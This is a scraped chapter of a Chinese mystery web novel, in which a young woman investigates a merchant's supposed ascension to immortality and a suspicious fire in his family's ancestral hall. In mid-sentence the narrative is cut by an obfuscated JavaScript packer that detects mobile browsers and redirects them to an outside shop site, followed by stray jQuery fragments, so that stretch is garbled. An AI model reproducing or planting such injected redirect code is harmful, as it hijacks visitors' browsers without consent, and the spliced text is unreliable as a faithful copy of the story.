默认冷灰
24号文字
方正启体

5. 善人飞仙

作者:招牌老吃货本书字数:K更新时间:
    沈沉璧游上岸时,远处画舫的灯火已变得稀疏阑珊。


    寻了匹良驹,沈沉璧一刻不停地赶往汀州。她的大姨母年轻时嫁到了汀州,只是不知为何后来母亲与她断了联系,直到二人离世前都再未见过面。不过姨母有一女,沈沉璧想去寻这位姨姐碰碰运气,或许能发现母亲之死的线索。


    姨姐的夫家是汀州最有名的富商,所经营的产业遍布整片淮南,因此沈沉璧并未费太多气力便寻上了门。沿着窦府的曲折回廊走了许久,管家将沈沉璧引至一处静室。这静室地处幽僻,不似寻常待客的地方。


    “你是沉璧?”


    谢道容跪坐在蒲团上,身前的佛像慈眉善目。虽知沈沉璧远道而来,可她手中的佛珠并未停止转动。沈沉璧静静打量着她,不知怎的,竟觉得这位姨姐似那香炉中燃尽的死灰,红尘种种皆与之无关。


    “是,阿姊。”


    二人素未谋过面,且皆不是热络的性子,因此只是淡淡地寒暄了两句后便无话可说。气氛凝在了半空,沈沉璧正愁着如何打破沉寂,门外便走来一位玉冠束发的男子。这男子身姿清朗,气质俊秀,只是眉宇间透着股忧郁。他应是不知静室中还有旁人在,看到沈沉璧时神色颇为尴尬。


    见有人来寻谢道容,沈沉璧正好有了借口离开。只是才走出静室不远,耳边便传来不堪入耳的咒骂声。


    “老爷才登仙了几日,这毒妇就急不可耐地勾搭上二爷,连装都不装了!”


    廊角处斜倚着一个衣着华丽的身影。那女子光容鉴物,春桃拂脸,真真是个百里挑一的美人儿。只是她美则美矣,发髻脖颈上却穿戴着沉重的金银,不免带着扑面而来的市侩气。


    正凝神细看,沈沉璧忽觉衣袖被人扯了扯。回头一瞧,丫鬟正摇着头示意她莫要出声。直到那女子走后,沈沉璧才知这女子是窦世延的妾室冯姨娘,素来与谢道容不合。


    “我入府以来不曾见到过姐夫,方才冯姨娘所言登仙乃是何意?”


    “老爷一心向道行善积福,咱们汀州人人都唤他窦大善人。前些时日老爷功德圆满,刚飞升入九霄做了仙人。”


    丫鬟说这话时满目流露着钦羡之意,沈沉璧知道她定是听信了此等怪力乱神之言。虽知所谓登仙必有蹊跷,但沈沉璧也清楚自己此行是为了寻求母亲身亡的线索,有些闲事还是勿管为妙。


    谢道容命人将沈沉璧安置在了窦府的东南客房。此处院落宽敞静谧、阳光甚好,只是却与窦世延飞升成仙的祠堂紧挨着,沈沉璧总觉着开了门就阴风阵阵。


    赶路终归是有些疲累,回到卧房后沈沉璧着枕便睡下了。直至后半夜,迷迷糊糊中她听到有人用指节敲击着窗棱,节奏急切而紧密。沈沉璧心生疑虑,便起身开窗去瞧,可眼前景象却令她甚为惊愕。


    熊熊大火吞噬了大半的窦府,夜色之中到处是奔跑逃命的仆从,而那敲窗之人早已消失不见。


    来不及细思,沈沉璧连忙披了件沾水的外袍冲了出去。刚踏出门槛的那一刻,身后的房梁轰然坍塌,隔壁的祠堂也被大火团团包裹住。几个家仆忙里慌张地提着水灭火,折腾至后半夜火势将熄时,谢道容才急色匆匆地赶了过来。


    淡淡地望了沈沉璧一眼,谢道容并未多加询问。许是方才跑得太急,她的脸上泛着浅浅的红晕,却也令她死气沉沉的脸多了丝儿人气。不过,沈沉璧隐隐觉得她的身上有股不同寻常的气味。


    “夫人,人抬来了。”


    几个家仆抬着担架走了过来。管家掀开覆在担架上的白布,白布下是一具焦黑的尸体。尸体面部被烧得面目全非,艳丽的绸布衣裳早就化为了灰烬,唯有脖颈上发黑的金银首饰昭示着死者生前的华贵。


    从衣着打扮上看,这是冯姨娘。


    谢道容并不关心担架上的冯姨娘,只是着急询问祠堂的损毁情况。在得知祠堂损毁并不严重时,她的面色晦暗了几分。但不过片刻,她便急着将围在祠堂前的众人打发离开。


    “阿姊,”沈沉璧走上前,探究的目光扫过谢道容红晕未消的脸,“听说姐夫前些时日在祠堂羽化登仙,如今大火毁及祠堂福地,你不去看看吗?”


    祠堂大门打开时,众人皆讶异于它能在如此规模的烈火下保存完好。此等异象令他们更加信服,这是窦大善人肉身凡胎时积累的功德。


    不顾他人的猜测,沈沉璧率先走进祠堂。堂内正前方摆放着窦氏列祖列宗的牌位,牌位前有块木板隔出的空间,里头恰能容纳下一个成年男子,据说窦世延便是在此处飞升成仙。顺着木板隔间望去,沈沉璧的视线落于隔间后悬着的软烟罗帘子上。


    软烟罗质地轻薄本该极易引火,但怪异的是这些帘子已被烧得一干二净,可帘子下的木板隔间却丝毫未损。


    悄无声息地摘下腰间药囊,沈沉璧伸出指尖拈起木板上厚厚的黑灰轻嗅,刺鼻的气味瞬间钻入鼻腔。


    是火油,有人提前在祠堂做了手脚。


    眉头几不可察地蹙了蹙,沈沉璧透过祠堂的门窗向外望去。这场大火看似是从冯姨娘的满雀庭最先燃起,单从地理距离看本不该牵连到祠堂。但若细细观察,则会发现满雀庭与祠堂之间有好几处木制回廊相连,火势实则很快便能蔓延至此。


    原来烧死冯姨娘只是障眼法,纵火者的最终目标是祠堂。


    眼前浮现出白日里那张姿容绝艳的脸,沈沉璧的眸底掠过些许哀色。这祠堂中到底藏着什么秘密,竟使凶手要如此大费周章地烧了它?


    望向窦世延飞升时待的木板隔间,沈沉璧的眸色微微动了动。提袖擦净隔板上的黑灰,她看到灰烬之下露出了亮堂的漆色。这并非窦世延升仙时木板隔间的本色,而是经由大火淬烧后留下的色泽。


    沈沉璧忽而想起幼时曾看过一本记载珍奇异木的书。北方有奇树名为烧杉,此木本体红黄,烈火烧之不毁,巨斧凿之不裂,大火后有如涅火重生,通体黑亮如漆、坚固无比。若没猜错,这方隔间所用之木便是烧杉木,甚至整个祠堂皆是此木所制。


    俯身向前,沈沉璧想打开身前的木板隔间探个究竟,可刚伸出的手腕却被人用力拉住。


    “阿姊这是何意?”


    “此处是仙夫飞升之地,平日里我们都悉心供着,沉璧还是莫要打开为妙。”


    谢道容面不改色地看着沈沉璧。她这话一出便得


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144433|196370||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    到在场众人的附和,众人皆言窦世延是肉体凡胎升的仙,若凡夫俗子随意破坏此处的磁场,会对这位窦大善人不利。


    “诸位误会了,”沈沉璧掩住眸底的冷笑,躬身向木板隔间作了个揖,“我少年时曾随得道高人学过些法术,能助益仙人的修仙之途。诸位若是阻拦,怕是会被九重天的窦仙人降罪。”


    听闻会被仙人降罪,众人也不敢出声。沈沉璧顺势打开隔间木门,里头只放置着一件交领道袍,暗色织纹,针脚细密,是上等衣料。据说窦世延飞升当日电闪雷鸣、风雨交加,窦府众人皆守在祠堂外,亲眼见到他□□飞升后将外衣落在了原地。


    沈沉璧自然不信什么飞升成仙,但对于窦世延如何在众目睽睽之下消失颇感困惑。趁着众人还在为会否遭受天谴忐忑不安,她一个猫身便钻入了隔间之中。


    阖上木门,隔间内瞬间变得漆黑无光。沿着隔间的木纹细细触摸,沈沉璧试图找到些许破绽。但烧杉木入手光滑严丝合缝,即便细小如蚂蚁也无法钻入,单凭寻常肉眼必然无法察觉异常。无奈之下,沈沉璧只好再次摘下药馕。


    穿透眼前的黑暗,沈沉璧看到了角落里有处极其隐秘的纹理。隔间内纹路尽皆竖向排列,只有这处纹理呈横向。用力按压,这处木板竟然可以旋转。


    “嘶——”


    木板旋转时竟吐出一根丝线。隔间内的空间太过狭隘,沈沉璧根本来不得及躲闪。所幸的是,这丝线对人并无伤害,只是上面似乎附着着什么黏合物,粘在衣袍上得颇费些劲儿才能扯下来。沈沉璧刚扯下丝线这头,那处木板便快速旋转着将丝线收了回去。


    没想到这是一处机关。


    如此精妙的机关,若非精通机关之术者断然难以设计出来,只是沈沉璧暂且还不知此机关作何用途。正疑惑间,她伸手摸到了窦世延的道袍。


    将道袍铺展开来细细查看,沈沉璧发觉此袍的裁剪较为别致。寻常衣物解开需自腰间衣带开始,而后渐至胸口纽扣、袖子。而这件道袍不费吹灰之力便能脱下,此种制衣手法只用于身患残疾之人,窦世延四肢健全根本不必如此穿衣。


    顺着针脚继续往上看去,沈沉璧的目光停在了道袍的领口处。领口有处铜钱大小的地方,其针线色泽相较于別处更为鲜亮,似是后来才缝补上去的。不过缝补者手法精密,常人难以察觉异样。


    沈沉璧面色一滞,倘若方才的丝线黏在了窦世延的道袍领口处,那么……


    心中的想法尚未成型,木板隔间的下方忽然破开一道巨大的口子,沈沉璧的身子猛地悬空坠了下去。她本能地想抓住些什么,慌乱间又触碰到方才的机关,刹那间机关吐出丝线黏住她的衣袍,恰好给了她缓冲之力。


    “快开门!”


    几乎在沈沉璧呼救的瞬间,隔间的木门被人从外打开。灼眼的光亮自头顶流泻而下,一只修长的手握住了她的手腕。


    “抓紧了,我拉你上来。”


    耳边传来男子掷地有力的声音,既陌生又似乎有些熟悉。沈沉璧疑惑地抬起头,透过重重光亮,她看到了一双深邃如长夜的眼睛。


    竟是那日在画舫中遇到的小郎君。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)